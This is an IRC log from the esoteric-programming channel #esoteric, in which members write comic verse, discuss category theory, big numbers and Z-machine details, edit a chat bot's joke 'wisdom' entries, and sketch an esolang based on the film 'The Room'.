04:53:59 <shachaf> The eastern roiling financier / professionals revives career .
04:54:38 <shachaf> What's a famous poem written in that meter?
04:54:50 <shachaf> Iambic tetrameter.
04:54:55 <shachaf> I can almost place it.
04:56:21 <shachaf> Decaying formula today / and iceland slugging anyway .
04:57:21 <shachaf> Bizarre campaign concludes pursues / philanthropy the barbecues .
05:03:15 <shachaf> The princess witty magazine / routine describes a submarine .
05:03:37 <shachaf> The Oprah prevalent deposed / result repeatedly exposed .
05:03:42 <shachaf> Maybe this isn't the right channel.
05:04:20 <oerjan> shachaf: Xanadu?
05:05:03 <zzo38> I'm fused.
05:05:21 <shachaf> oerjan: Hmm, maybe.
05:05:29 <oerjan> zzo38: did you play with superglue
05:06:06 <shachaf> oerjan: I don't think that's the one, the structure is more complicted.
05:06:14 <zzo38> No, I make mistake. I should mean: I'm confused.
05:06:49 <oerjan> shachaf: Jabberwocky?
05:07:12 <oerjan> i'm not sure that fits
05:07:56 <oerjan> hm i think it does
05:08:06 <shachaf> oerjan: You're quite good at naming things with a similar meter that I've forgotten about.
05:08:16 <shachaf> But I don't think it's either of those.
05:08:29 <oerjan> i don't really know that many poems
05:08:38 <shachaf> The thing I'm thinking of has rhyming couplets, I'm pretty sure.
05:11:40 <shachaf> I wonder whether it's in English...
05:12:01 <oerjan> heh
05:13:12 <shachaf> But when I read a bunch of those passwords in a row it certainly reminds me of something.
05:17:58 <oerjan> time for some cheating
05:19:01 <oerjan> shachaf: the wikipedia page for iambic tetrameter has a hebrew example
05:19:10 <shachaf> Yes. But it's not that.
05:20:17 <shachaf> Your guesses are the best I've heard.
05:20:28 <shachaf> Or maybe <https://he.wikipedia.org/wiki/%D7%94%D7%9E%D7%A4%D7%95%D7%96%D7%A8_%D7%9E%D7%9B%D7%A4%D7%A8_%D7%90%D7%96%22%D7%A8>...
05:21:11 <shachaf> I'll just assume it's Jabberwocky I'm thinking of, couplets or not.
05:22:14 <oerjan> O KAY
05:22:44 <shachaf> How can you not know many poems, though? I thought you were a poet.
05:22:59 <shachaf> `? oerjan
05:23:01 <HackEgo> Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
05:23:29 <shachaf> Hmm, no way to fit it in.
05:23:59 <oerjan> very premature xkcd today.
05:25:49 <oerjan> suddenly girl genius is claiming sunday/tuesday schedule?
05:26:15 <shachaf> Should I read Girl Genius?
05:27:40 -!- Kaynato has quit (Ping timeout: 260 seconds).
05:27:43 -!- Caesura has joined.
05:28:31 <oerjan> of course
05:30:29 <shachaf> If oerjan, esteemed overlord, / Would read it of his own accord
05:32:51 -!- variable has joined.
05:33:44 <oerjan> that guy does not look overly pleased, or friendly.
05:34:45 -!- variable has changed nick to trout.
05:35:16 <shachaf> Oops, I forgot that the emphasis isn't on the first syllable.
05:35:53 <oerjan> esteemed, you mean?
05:35:57 <shachaf> oerjan
05:36:07 <oerjan> hm? of course it is.
05:36:22 <shachaf> What? When I asked a Norwegian to pronounce it, it sounded more like it was on the second syllable.
05:36:24 <oerjan> it's definitely not _more_ on the second, anyway.
05:36:32 <shachaf> And then when I asked about that, he said it was on both syllables.
05:36:44 <oerjan> that's probably your brain overcompensating.
05:36:46 <Elronnd> `? Elronnd
05:36:49 <HackEgo> Elronnd desperately wants this entry to say something.
05:37:55 <shachaf> Our overlord mysterious, / Is rarely very serious.
05:38:02 <shachaf> Or is it "imperious"?
05:38:04 <shachaf> @wn imperious
05:38:06 <lambdabot> *** "imperious" wn "WordNet (r) 3.0 (2006)"
05:38:06 <lambdabot> imperious
05:38:06 <lambdabot> adj 1: having or showing arrogant superiority to and disdain of
05:38:06 <lambdabot> those one views as unworthy; "some economists are
05:38:06 <lambdabot> disdainful of their colleagues in other social
05:38:08 <lambdabot> [7 @more lines]
05:38:23 <shachaf> @more
05:38:23 <lambdabot> disciplines"; "haughty aristocrats"; "his lordly manners
05:38:23 <lambdabot> were offensive"; "walked with a prideful swagger"; "very
05:38:23 <lambdabot> sniffy about breaches of etiquette"; "his mother eyed my
05:38:23 <lambdabot> clothes with a supercilious air"; "a more swaggering mood
05:38:23 <lambdabot> than usual"- W.L.Shirer [syn: {disdainful}, {haughty},
05:38:25 <lambdabot> {imperious}, {lordly}, {overbearing}, {prideful},
05:38:27 <lambdabot> {sniffy}, {supercilious}, {swaggering}]
05:38:59 <shachaf> Maybe not.
05:40:19 <shachaf> Maybe Eugene Onegin is the most famous iambic tetrameter poem.
05:40:21 <shachaf> But I never read it.
05:44:35 <shachaf> Locate our cackling overlord, / And get a thousand pound reward.
05:47:02 <shachaf> The word he wants is "amortized", / His wisdom entry advertised.
05:50:45 <shachaf> `le/rn lambek's lemma/Lambek's Lemma, invented by Joachim "Taneb" Lambek, states that initial algebras have inverses.
05:50:49 <HackEgo> Learned «lambek's lemma»
05:52:45 <shachaf> F-algebras are pretty neat.
05:53:29 <shachaf> I don't follow the Wikipedia page, though: "In mathematics, specifically in category theory, F-algebras generalize algebraic structure. Rewriting the algebraic laws in terms of morphisms eliminates all references to quantified elements from the axioms, and these algebraic laws may then be glued together in terms of a single functor F, the signature."
05:53:34 <shachaf> Don't F-algebras not have laws?
05:54:12 <oerjan> how fortunate that i have no idea.
05:54:37 <shachaf> I guess this isn't the right channel to ask.
05:54:53 <shachaf> Cale and copumpkin might know.
05:55:03 <shachaf> And I talked about it with elliott once.
05:55:21 <Cale> T-algebras for a monad T have laws.
05:55:26 <shachaf> Right.
05:55:31 <shachaf> But those are much more complicated than F-algebras.
05:55:50 <Cale> fsvo much, yeah
05:56:51 <shachaf> Well, somewhat more complicated.
05:58:34 <shachaf> `rm aeDAGoZ
05:58:36 <HackEgo> No output.
05:59:09 <shachaf> `culprits wisdom/it
05:59:15 <HackEgo> b_jonas b_jonas b_jonas b_jonas b_jonas b_jonas
06:00:00 <shachaf> `sled wisdom/it//s\ $\\
06:00:03 <HackEgo> wisdom/it//It little profits that an idle king, / By this still hearth, among these barren crags, / Match'd with an aged wife, I mete and dole / Unequal laws unto a savage race, / That hoard, and sleep, and feed, and know not me. / I cannot rest from travel: I will drink / Life to the lees; all times I have enjoy'd / Greatly, have suffer'd greatly,
06:00:07 <shachaf> Oops.
06:05:47 -!- Kaynato has joined.
06:05:52 <shachaf> `` rgrep -l ' $' wisdom
06:05:54 <HackEgo> wisdom/elendil \ wisdom/hydrogen \ wisdom/math \ wisdom/utumno \ wisdom/wealhtheow \ wisdom/fat \ wisdom/ghoul \ wisdom/delve \ wisdom/if \ wisdom/speedy gonzales \ wisdom/o \ wisdom/rhenium \ wisdom/semmelweis \ wisdom/ᛁᚿ
06:06:55 <oerjan> `` tail -c340 wisdom/it
06:06:56 <HackEgo> ils, governments, / Myself not least, but honour'd of them all; / And drunk delight of battle with my peers, / Far on the ringing plains of windy Troy, / I am a part of all that I have met; / Yet all experience is an arch wherethro' / Gleams that untravell'd world, whose margin fades / For ever and for ever when I move. \ Taneb invented it.
06:07:35 <oerjan> `` before | tail -c340
06:07:44 <HackEgo> s, governments, / Myself not least, but honour'd of them all; / And drunk delight of battle with my peers, / Far on the ringing plains of windy Troy, / I am a part of all that I have met; / Yet all experience is an arch wherethro' / Gleams that untravell'd world, whose margin fades / For ever and for ever when I move. \ Taneb invented it.
06:07:49 <oerjan> ah
06:08:13 -!- Caesura has quit (Ping timeout: 244 seconds).
06:09:20 <oerjan> `? speedy gonzales
06:09:22 <HackEgo> Sp e e d y G o n z a l e s i s t h e f a s t e s t
06:09:28 <oerjan> oh
06:10:14 <oerjan> i guess i made that.
06:10:41 <oerjan> `` sed -i 's/ *$//' wisdom/speedy\ gonzales
06:10:44 <HackEgo> No output.
06:20:37 <shachaf> `hogue wisdom/speedy gonzales
06:20:43 <HackEgo> ​<oerjan> ` sed -i \'s/ *$//\' wisdom/speedy\\ gonzales \ <oerjan> le/rn speedy gonzales/Sp e e d y G o n z a l e s i s t h e f a s t
06:21:05 <shachaf> `1 hogue wisdom/speedy\ gonzales
06:21:18 <HackEgo> 1/2:<oerjan> ` sed -i \'s/ *$//\' wisdom/speedy\\ gonzales \ <oerjan> le/rn speedy gonzales/Sp e e d y G o n z a l e s i s t h e f a s
06:21:20 <shachaf> `spam
06:21:22 <HackEgo> 2/2: t e s t m o \
06:32:16 <Elronnd> Stop spamming please
06:34:05 <shachaf> oerjan started it.
06:37:54 -!- DigitoriiX has quit.
06:38:58 <shachaf> oerjan: placenta-based homology? / i owe you an apology
06:42:31 <oerjan> you think that such an awful curse / can be undone by writing verse?
06:43:10 -!- lambda-11235 has quit (Quit: Bye).
06:45:20 <shachaf> if verse alone will not suffice / then what would be your asking price?
06:49:10 <oerjan> your task, to introduce, must be / the word placenta in CT
06:50:51 <oerjan> or if you are for this too dense / you may instead put it in lens.
06:52:11 <oerjan> i know for sure it is the case / it won't look very out of place
06:55:58 <shachaf> well, birth as a formality / is just initiality
06:59:14 <shachaf> and so placentas could be shown / to be a universal cone
07:00:36 <shachaf> for algebras, as Lambek told / placenta would just be a fold
07:01:13 <shachaf> Wait, that's not Lambek's lemma.
07:01:15 <shachaf> Oh well.
07:05:37 <oerjan> very tragic.
07:05:44 <oerjan> now i shave ->
07:09:07 <shachaf> a universal cone, i think, / is terminal (the missing link!)
07:10:25 <shachaf> and therefore (color me magenta) / it could be called a coplacenta
07:12:16 -!- Kaynato has quit (Ping timeout: 252 seconds).
07:14:09 <shachaf> "initial", as we've just unearthed, / tells us that an object birthed
07:14:39 <shachaf> all others, metaphorically, / which must mean, categorically,
07:21:54 <myname> i envy how you can rhyme like crazy \ to do this properly i'm way too lazy
07:22:00 <Taneb> oerjan, looks like you were right re: storm king
07:22:14 <Taneb> Oh, it looks like I missed the rhyming thing
07:22:29 <shachaf> myname: it's the meter that you're missing, not the rhyme hth
07:23:01 <shachaf> I need to finish my verse.
07:23:19 <myname> i know
07:23:29 <myname> i am way better in thia in geman
07:23:32 <myname> german, even
07:26:27 <shachaf> that for an object to be final / (without a metaphor vaginal),
07:26:31 <shachaf> the arrow points the other way, / to death, destruction, and decay
07:27:53 <shachaf> but if that's so, then what's the story, / for a pointed category?
07:31:30 <shachaf> a zero object, says reflection, / would be the key to resurrection
07:32:05 <b_jonas> wtf you're writing English poems?
07:32:11 <b_jonas> what happened to this channel?
07:32:24 <shachaf> What language would you prefer?
07:32:38 <myname> klingon
07:32:55 <oerjan> Taneb: now i'm wondering if van rijn _really_ betrayed him, or if he's just confused.
07:33:21 <oerjan> that might depend on my euphrosynia theory the other day
07:34:51 <oerjan> more spämmi
07:35:17 <shachaf> shaving is scow
07:35:37 <oerjan> shachaf: especially with that razor blade, i decided to toss it.
07:35:53 <oerjan> (does this mean shachaf has a full beard?)
07:36:11 <shachaf> ask pikhq hth
07:36:25 <oerjan> pikhq: does shachaf have a full beard twh
07:36:34 <oerjan> now food ->
07:36:50 <shachaf> Hmm, I think three people in this channel have seen me.
07:37:03 <shachaf> Four including me, I guess.
07:43:35 -!- halvredin has joined.
07:50:35 <pikhq> oerjan: Not to my knowledge.
07:50:56 <pikhq> At least, when I saw him he did not, and I do not know if he is able to grow one.
07:51:14 <oerjan> shocking
07:51:33 <shachaf> are you doubting my beard skills
07:52:04 <pikhq> No, I am merely ignorant of them.
07:52:51 -!- hppavilion[1] has joined.
07:58:03 <shachaf> Are your pooching plans determined yet?
08:03:18 <pikhq> Nein
08:15:47 <hppavilion[1]> Paradox of the Ravens is mildly damaging the structural integrity of my mind via small explosive devices, bro
08:15:48 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:16:52 <shachaf> Doesn't seem very paradoxical.
08:16:57 <shachaf> Wait until you hear about Curry's paradox.
08:17:01 <shachaf> That paradox is TG.
08:18:04 <oerjan> `? tg
08:18:30 <HackEgo> TG is short for Turing-Gödel, the highest possible level of difficulty for a multiplayer game. At this level, it's undecidable whether you can manage to halt before losing or not.
08:18:40 <shachaf> Turing-Gödel-Curry paradox
08:20:55 <hppavilion[1]> shachaf: Well yeah, it isn't a paradox per se (afaik), but it's still rather weird
08:28:05 -!- augur has quit (Remote host closed the connection).
08:32:39 -!- J_Arcane has quit (Remote host closed the connection).
08:34:29 <hppavilion[1]> http://i.imgur.com/3MTbXwX.gifv has to be photoshopped
08:43:13 <oerjan> that definitely needs some sound.
08:43:51 <oerjan> but i assume they're just showing off their dog training?
09:05:22 -!- halvredin has quit (Ping timeout: 260 seconds).
09:29:11 <hppavilion[1]> Hm... are there any possible numbers that are so big that there is literally no way to properly express them?
09:29:24 <hppavilion[1]> Like, even Graham's Number can be expressed in finite space
09:30:48 <hppavilion[1]> Or in a /reasonable/ amount of space
09:31:03 <hppavilion[1]> And you can conceive of it
09:32:53 <shachaf> Graham's number can be expressed in very small space.
09:32:56 <oerjan> hppavilion[1]: my impression from the last discussions i saw on naming big numbers is that the problem is that eventually it becomes unprovable (in the gödel sense) whether your expression actually names a number.
09:33:43 <oerjan> as in, these expression tend to use more and more esoteric ordinals, that may or may not exist.
09:33:46 <oerjan> *+s
09:36:09 <hppavilion[1]> oerjan: Ordinals?
09:36:13 <oerjan> or, of course, unprovable how big it is.
09:36:53 <hppavilion[1]> Aren't the ordinals infinite? At least, the esoteric ones?
09:37:05 <oerjan> a transfinite ordinal defines a recursion scheme. if the ordinal doesn't actually exist, the recursion never bottoms out.
09:37:19 <shachaf> oerjan: sounds like an extraordinally proof hth
09:37:24 <oerjan> but if it does, you can use it to define huge finite numbers.
09:38:25 <oerjan> eliezer yudkowsky won a challenge to name the biggest computable integer by using a hypothetical ZFC extension
09:38:59 <oerjan> (the biggest he could find, which means it's also most likely to be inconsistent instead)
09:40:13 <oerjan> (computable, in the sense that they had to sketch a computer program that would calculate it)
09:41:21 <oerjan> although that was computable, so busy beaver numbers will be far larger than that again
09:41:42 <shachaf> oerjan: Well, if they didn't have a sketch of a computer program, it would be more of an imputable integer.
09:51:37 -!- Phantom_Hoover has joined.
10:00:14 -!- Koen_ has joined.
10:11:02 -!- oerjan has quit (Quit: Nite).
10:21:04 <b_jonas> `bobadventureslist
10:22:29 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bobadventureslist: not found
10:27:26 -!- earendel2 has joined.
10:27:47 -!- earendel2 has quit (Client Quit).
10:32:50 <b_jonas> `? underwater jousting
10:33:00 <HackEgo> underwater jousting? ¯\(°​_o)/¯
10:34:12 <b_jonas> `slashlearn underwater jousting/Underwater jousting is a sport played on the open sea in single-person kayaks, where people try to hit a beach ball with the paddles until they get sufficiently exhausted. Taneb invented it.
10:34:33 <b_jonas> `? tanebventions
10:34:35 <HackEgo> Learned «underwater jousting»
10:34:37 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
10:34:56 <b_jonas> wait, didn't shachaf just learn something for this yesterday?
10:35:20 <shachaf> Not me.
10:35:33 <shachaf> You're thinking of boily.
10:35:42 <shachaf> I'm very not boily.
10:35:44 <b_jonas> oh, that was submarine jousting
10:35:48 <b_jonas> `? submarine jousting
10:35:49 <HackEgo> Submarine jousting is unexplainable.
10:35:55 <b_jonas> `unlearn underwater jousting
10:35:56 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unlearn: not found
10:36:01 <b_jonas> `rm wisdom/underwater jousting
10:36:04 <HackEgo> No output.
10:36:12 <b_jonas> yeah, submarine jousting sounds funnier actually
10:36:15 <shachaf> `? tanebvention
10:36:17 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
10:36:20 <shachaf> It's `forget
10:37:40 <shachaf> `sled wisdom/tanebvention//s/the/necessity, the/
10:37:43 <HackEgo> wisdom/tanebvention//Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
10:40:58 <ybden> `? the BBC
10:40:59 <HackEgo> the BBC? ¯\(°​_o)/¯
10:41:02 <ybden> `? BBC
10:41:05 <HackEgo> The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets and tiny elfs. Taneb invented it.
10:41:31 <ybden> :D
10:42:25 <hppavilion[1]> If Gambler's Fallacy was accurate to reality, could we use it to build an Infinity Improbability Drive?
10:42:32 <ybden> Oh, Taneb isn't the owner of muppetlabs/breadbox
10:42:33 <ybden> hm
10:42:43 <b_jonas> `? shaventions
10:42:45 <HackEgo> shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
10:42:48 <b_jonas> `? boilinventions
10:42:50 <HackEgo> boilinventions? ¯\(°​_o)/¯
10:42:59 <b_jonas> `? jonasventions
10:43:00 <HackEgo> jonasventions? ¯\(°​_o)/¯
10:43:15 <b_jonas> `? oerjanventions
10:43:16 <HackEgo> oerjanventions? ¯\(°​_o)/¯
10:43:22 <b_jonas> hmm
10:43:35 <hppavilion[1]> `? hpventions
10:43:36 <HackEgo> hpventions? ¯\(°​_o)/¯
10:43:41 <hppavilion[1]> `? hpstructions
10:43:42 <HackEgo> hpstructions? ¯\(°​_o)/¯
10:43:45 <b_jonas> woulnd't those be hppaventions?
10:43:56 <shachaf> `learn Necessity invented invention, because it had to. Taneb invented it.
10:43:59 <hppavilion[1]> b_jonas: You'd think so, wouldn't you
10:44:00 <HackEgo> Learned 'necessity': Necessity invented invention, because it had to. Taneb invented it.
10:44:19 <hppavilion[1]> b_jonas: Feel free to fill out hpstructions
10:46:16 <myname> efghij is such a beautiful language
10:46:17 <shachaf> `le/rn necessity/If necessity did not exist, it would be necessary for Taneb to invent it.
10:46:21 <HackEgo> Relearned «necessity»
10:46:58 <shachaf> Hmm, maybe that wisdom entry would be better as "God".
10:47:09 <shachaf> Taneb: what would you rather invent, necessity or god hth
10:47:14 <shachaf> @time Taneb
10:47:15 <lambdabot> Local time for Taneb is Wed Jun 08 10:47:15
10:48:13 <shachaf> s/hth/twh/
11:17:22 <\oren\> i am now inside a capsule hotel
11:17:51 <Koen_> in japan?
11:17:55 <\oren\> that is to say, i am encapsulayed
11:17:59 <\oren\> yes
11:27:21 <ybden> \o/
11:27:28 <ybden> \oren\: is it nice in there?
11:29:38 -!- Akaibu has quit (Remote host closed the connection).
11:32:41 <\oren\> ybden: it has aircon and very fast internet so yes
11:34:27 <\oren\> and it is a few minutes walk from akihabara
11:34:51 -!- boily has joined.
11:35:26 <\oren\> konboilyha
11:35:46 <\oren\> i am in a capsule hotel
11:36:11 <\oren\> that is to say, i am *encapsulated*
11:37:28 <boily> bo\ren\matin!
11:37:50 <boily> @metar RJAA
11:37:51 <lambdabot> RJAA 081030Z 16008KT 9999 FEW013 BKN050 21/19 Q1014 NOSIG RMK 1CU013 7SC050 A2995
11:38:49 -!- Akaibu has joined.
11:38:55 <boily> \oren\: work? vacation? study? shady activities? how long are you staying?
11:38:59 <boily> `relcome Akaibu
11:39:26 <HackEgo> Akaibu: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
11:39:40 <\oren\> six nights
11:40:29 <\oren\> is going to maid cafes and lounging a shady activity?
11:41:15 <boily> not really shady, more like bright pink.
11:41:54 <\oren\> then no no shady activities here
11:46:56 <shachaf> `le/rn bicyclic monoid/The bicyclic monoid is the free monoid generated by two wheels of a bicycle, quotiented by the restriction that the bicycle itself is equal to the identity.
11:47:17 <HackEgo> Learned «bicyclic monoid»
11:49:03 <dnm> Hello.
11:49:06 <dnm> Why am I still awake?
11:49:48 <\oren\> its only around eight o clock!
11:50:46 <shachaf> dnm: I might ask myself the same question.
11:52:19 <boily> @localtime dnm
11:52:20 <lambdabot> Local time for dnm is Wed Jun 08 03:52:18 2016
11:52:22 <boily> @localtime shachaf
11:52:23 <lambdabot> Local time for shachaf is Wed Jun 8 03:52:22 2016
11:52:29 <shachaf> shocking
11:52:33 <boily> morning
12:01:01 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
12:01:01 -!- trout has quit (Quit: 1 found in /dev/zero).
12:01:44 -!- variable has joined.
12:03:53 -!- idris-bot has joined.
12:03:58 <b_jonas> um
12:04:03 <b_jonas> `datei
12:04:12 <b_jonas> ^ that's the local time for HackEgo
12:04:14 <HackEgo> 2016-06-08 11:03:38.508514000+00:00
12:13:24 <boily> fungot: do you have time?
12:13:25 <fungot> boily: do tell about actors:)! good ( fnord)
12:13:47 <boily> fungot: uuuh... Sean Connery?
12:13:47 <fungot> boily: i just like ' em. how do i load swindle in drscheme? it shows you visually what happens when you evaluate with c-x c-e in an emacs-lisp buffer will that do?
12:14:16 <boily> fungot: it won't do. it's emacs, and it's against my religion.
12:14:16 <fungot> boily: define ' arbitrary manipulation.' on to suggest that.
12:14:47 <boily> fungot: I do not suggest that. stop manipulating me, you filthy bot.
12:14:47 <fungot> boily: spoke finnish, too.)) yields the cartesian product.
12:15:03 <boily> fungot: speaking finnish yields cartesian products. I'll remember that.
12:20:14 <b_jonas> don't anger fungot
12:20:14 <fungot> b_jonas: the sound ' pre-scheme' is dirty to your ears? the one you're running on an unix machine. fucking vocational cs degrees.
12:21:30 <boily> I don't fear the fungot. I have my mapole.
12:21:30 <fungot> boily: precise terminology is good too http://www.shiro.dreamhost.com/ scheme/ hedwig.png to
12:22:55 <b_jonas> `8-ball does fungot fear boily's mapole?
12:22:55 <fungot> b_jonas: we want a non-deterministic control structure. or they can both simply be special syntax...
12:23:05 <b_jonas> fungot, do you fear boily's mapole?
12:23:05 <fungot> b_jonas: widgets always are. and i'd qualify that by saying that it equals three, but i
12:23:07 <HackEgo> My sources say no.
12:23:58 <boily> since when does HackEgo have an 8 ball?
12:25:30 -!- hppavilion[1] has joined.
12:28:11 -!- boily has quit (Quit: THROWING CHICKEN).
12:39:27 <izabera> who's the official z-code expert in this chan?
12:40:29 <izabera> i'm reading the standard to implement a zmachine and i can't even find stuff like the word size
12:43:21 <int-e> 2 byte words, by default, given the age of this stuff. there are also some clues about it, e.g. when it discusses memory size (64k) and ranges of numbers (0..65535, sometimes -32768..32767)
12:43:39 <izabera> they didn't say that a number must fit in a word
12:43:58 <izabera> tho it'd be strange if it didn't
12:44:12 <izabera> thanks
12:52:16 -!- Destructible has joined.
12:52:25 <Destructible> I came up with another idea for a language
12:52:42 <Destructible> ... anyone?
12:53:44 <izabera> shoot
12:53:49 <ybden> `shoot izabera
12:53:57 <izabera> don't shoot *me*
12:54:00 <izabera> shoot the idea out
12:54:03 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: shoot: not found
12:54:06 <ybden> HackEgo: :(
12:54:39 <Destructible> so, does anyone here know what the movie "the room" is like?
12:54:50 <Destructible> this language is based on the room
12:54:59 <Destructible> so, before I explain it.
12:55:27 <Destructible> It is esoteric, not just a regular language with movie catchphrases
12:56:04 <Destructible> and it isn't a brainfuck derivative, like other hidden programs
12:57:26 <Destructible> so, how it works
12:57:44 <Destructible> It is based on beatnik
12:59:51 <Destructible> commands are based on numeric values of commands
12:59:59 <Destructible> lines
13:00:48 <Destructible> how the numeric values are calculated is that, firstly, anything that is not a the room quote is an error
13:00:59 <Destructible> except other characters speech
13:01:12 <Destructible> also I meant johnny the room quote
13:02:05 <Destructible> the value of a line is the amount of Hs, minus exclamation marks at the end
13:02:48 <Destructible> so Johnny: Ohh hi Mahhrhk! evaluates to 5
13:03:08 <Destructible> which would be push the value of the next one, if i remember
13:03:22 <izabera> does writing an interpreter constitute copyright infringement?
13:03:33 <Destructible> fair use
13:03:36 <Destructible> also
13:03:51 <Destructible> programs can be plays in their own right
13:03:55 <Destructible> for example
13:04:12 <Destructible> when a name is said, any name can be substituted
13:04:15 <Destructible> for example
13:04:25 <Destructible> oh hi mark could be oh hi anon
13:04:41 <Destructible> so, this means that you could make something like
13:04:58 <Destructible> Mary: hi jonny
13:05:21 <Destructible> Johnny: Ohhh hi mahry
13:05:44 <Destructible> Mary: I just bought a new game
13:06:08 <Destructible> Johnny: Whaht ah fuhnny stohry mahry!!
13:06:17 <Destructible> [Johnny shoots mary]
13:06:32 <Destructible> Johnny: Gohd Fohrgihve meh
13:06:33 <Destructible> !
13:07:25 <Destructible> the reason why exclamation marks subtract is because some people may not be able to resist adding too many hs
13:08:20 <Destructible> I think that perhaps there should be a subset of languages called niks, which have numeric commands which are like beatnik
13:08:33 <Destructible> it would reduce the brainfuck derivatives.
13:08:43 <Destructible> I think everyone can agree that would be for the best
13:09:06 <izabera> but now i haven't seen the movie and i know that johnny shoots mary at some point
13:09:27 <Destructible> I made that up
13:09:32 <Destructible> mary isn't a character
13:09:39 <izabera> damn
13:09:49 <Destructible> It was demonstrating that new creations can be made
13:10:44 <Destructible> Someone else should probably make the interpreter, because I haven't really learned any language good enough at this point
13:10:53 <Destructible> should I make a page?
13:11:06 <Destructible> `? love
13:11:14 <HackEgo> Baby don't hurt me, don't hurt me no more
13:11:27 <ybden> `whatis love
13:11:30 <HackEgo> whatis: can't open the manpath configuration file /etc/manpath.config
13:11:38 <ybden> :<
13:11:40 <Destructible> not how it works
13:11:52 <ybden> love (1) - 2D game development framework
13:11:59 <Destructible> ` <your query>
13:12:01 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
13:12:11 <ybden> ` <jake weary>
13:12:12 <Destructible> `? <your query>
13:12:12 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
13:12:14 <HackEgo> ​<your query>? ¯\(°​_o)/¯
13:12:20 <ybden> `? Destructible
13:12:22 <HackEgo> Destructible? ¯\(°​_o)/¯
13:12:27 <ybden> `? inDestructible
13:12:28 <HackEgo> inDestructible? ¯\(°​_o)/¯
13:12:38 <Destructible> `? hth
13:12:40 <HackEgo> hth is help received from a hairy toe. It is not at all hambiguitous.
13:12:47 <ybden> :D
13:13:01 <Destructible> anyway, hi ybdden
13:13:08 <ybden> hi Destructible
13:13:09 <Destructible> ybden*
13:13:10 <ybden> `? hambiguitous
13:13:12 <HackEgo> We're not sure what hambiguitous means, but it's definitely not hth.
13:13:17 <ybden> haha
13:13:45 <ybden> `? troule
13:13:46 <HackEgo> troule? ¯\(°​_o)/¯
13:13:47 <ybden> `? trouble
13:13:48 <HackEgo> trouble? ¯\(°​_o)/¯
13:13:51 <Destructible> also I had an idea for an esolang that isn't just something done slightly different
13:13:52 <ybden> `? bicycle
13:13:53 <HackEgo> bicycle? ¯\(°​_o)/¯
13:13:58 <ybden> `? unicycle
13:14:00 <HackEgo> unicycle? ¯\(°​_o)/¯
13:14:06 <Destructible> `? brainfuck
13:14:07 <HackEgo> brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array
13:14:35 <hppavilion[1]> `? god's number
13:14:37 <HackEgo> god's number? ¯\(°​_o)/¯
13:14:37 <Destructible> `? befunge
13:14:39 <HackEgo> befunge? ¯\(°​_o)/¯
13:14:41 <Destructible> also
13:14:47 <Destructible> let's stop spamming chat now
13:15:42 <Destructible> so ybden, have you contributed to the wiki at all?
13:15:46 <Destructible> I haven't
13:15:50 <ybden> I have not either.
13:15:54 <Destructible> oh wait
13:15:56 <hppavilion[1]> `? god's number
13:15:58 <HackEgo> God's number is the maximum number of moves a Rubik's cube can require to solve. It is equal to 20. No, really. Look it up.
13:16:10 <Destructible> I left a comment once
13:16:15 <Destructible> on list of ideas
13:16:25 <Destructible> so one time i guess
13:16:56 <Destructible> (this is a parenthetical)
13:17:54 <hppavilion[1]> [this is a brackethetical]
13:19:55 <ybden> {this is a bracetical}
13:23:13 <hppavilion[1]> ⟬this is a white turtlethetical⟭
13:23:33 <hppavilion[1]> Recession Session is awesome
13:25:25 <Destructible> |this is a pipethetical|
13:25:47 <Destructible> What about Resession cession
13:31:54 <izabera> https://i.imgur.com/dpTXm8M.png
13:35:08 <ybden> izabera: D:
13:35:15 <izabera> i didn't write it
13:35:24 <ybden> izabera: where did you find that?
13:35:42 <izabera> friend of mine claimed it was written by a c programmer in his company
13:35:50 <ybden> firstly, that's a very specific version
13:36:04 <ybden> secondly, they obviously don't know how the preprocessor works
13:36:24 <ybden> izabera: I pity that programmer
13:36:58 <ybden> Eh, I suppose it's a faily innocent mistake
13:37:21 <ybden> well, fairly too
13:37:21 <hppavilion[1]> izabera: Oh... oh god...
13:37:23 <hppavilion[1]> Is that C!?
13:37:26 <ybden> hppavilion[1]: yes
13:37:37 <FireFly> Lol
13:37:52 <hppavilion[1]> I much prefer the fox-hen-grain puzzle when the grain will eat the fox if left unattended
13:38:06 <ybden> :D: what
13:38:07 <hppavilion[1]> Or where the wolf will eat the farmer in the boat
13:38:21 * ybden . o O ( wolf = undefined behaviour )
13:39:18 <hppavilion[1]> Or what if the farmer is really a hitman hired to kill the hen and must make it look like an accident?
13:39:28 <hppavilion[1]> SUDDEN DESIRE FOR SLEEP
13:39:29 -!- hppavilion[1] has quit (Quit: Leaving).
13:44:56 <HackEgo> [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47167&oldid=47159 * 193.0.236.64 * (-54) Clean up for more wiki style
13:48:14 -!- Destructible has quit (Ping timeout: 250 seconds).
